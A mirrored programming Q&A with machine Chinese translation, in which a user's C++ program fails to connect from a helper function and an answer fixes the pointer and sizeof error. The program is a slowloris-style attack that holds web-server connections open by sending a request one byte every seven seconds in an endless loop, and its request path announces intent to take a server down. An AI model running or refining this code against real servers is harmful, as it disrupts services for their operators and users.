[英]socket connecting in main but not inside a function
i am trying to create a socket, connect method is working fine (ie returning 0 if called from the main function) but not working fine(ie return a non zero value) if called from some function other than main why? 我正在尝试创建一个套接字,连接方法工作正常(即如果从主函数调用返回0)但不能正常工作(即返回非零值)如果从主要的一些函数调用为什么? thanks in advance 提前致谢
#include<iostream>
#include<stdlib.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<netinet/in.h>
#include<arpa/inet.h>//the new file.
#include<unistd.h>//for using the sleep function.
#include<string.h>
using namespace std;
//char request1[]="GET /index.html HTTP/1.1\r\n\r\n";
void T_occupy(char* request,int n,struct sockaddr_in* server_address,int time_slot){
int my_socket;
while(1){
my_socket=socket(AF_INET,SOCK_STREAM,0);
int connection_status=connect(my_socket,(struct sockaddr*)&server_address,sizeof(server_address));
if(connection_status){
cout<<"error in establising the connection \n";
return;
}
int i;
for(i=0;i<n;i++){
char temp=request[i];
send(my_socket,&temp,sizeof(temp),0);
sleep(time_slot);
}
close(my_socket);
}
}
int main(int argc,char* argv[]){
//first we will do thigns with only one thread.
char* address;
char* msg="GET /Iamabouttoendyourstorybyhackingyouandyouwillnotbeabletoserveanyone.html HTTP/1.1\r\n\r\n";
address=argv[1];
struct sockaddr_in server_address;
server_address.sin_family=AF_INET;
server_address.sin_port=htons(80);
inet_aton(address,(struct in_addr*)&server_address.sin_addr.s_addr);
T_occupy(msg,strlen(msg),&server_address,7);
return 0;
}
You're passing &server_address
, which has type struct sockaddr_in **
to connect
which is expecting a struct sockaddr_in *
casted to a struct sockaddr *
. 你正在传递&server_address
,它有类型struct sockaddr_in **
来connect
,它期望一个struct sockaddr_in *
转换为struct sockaddr *
。 You're also passing sizeof(server_address)
which is the size of the pointer, not the size of the struct. 您还传递sizeof(server_address)
,它是指针的大小,而不是结构的大小。
Remove the unneeded &
in the second parameter and add *
to the last: 删除第二个参数中不需要的&
并将*
添加到最后一个:
int connection_status=connect(my_socket,(struct sockaddr*)server_address,sizeof(*server_address));
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.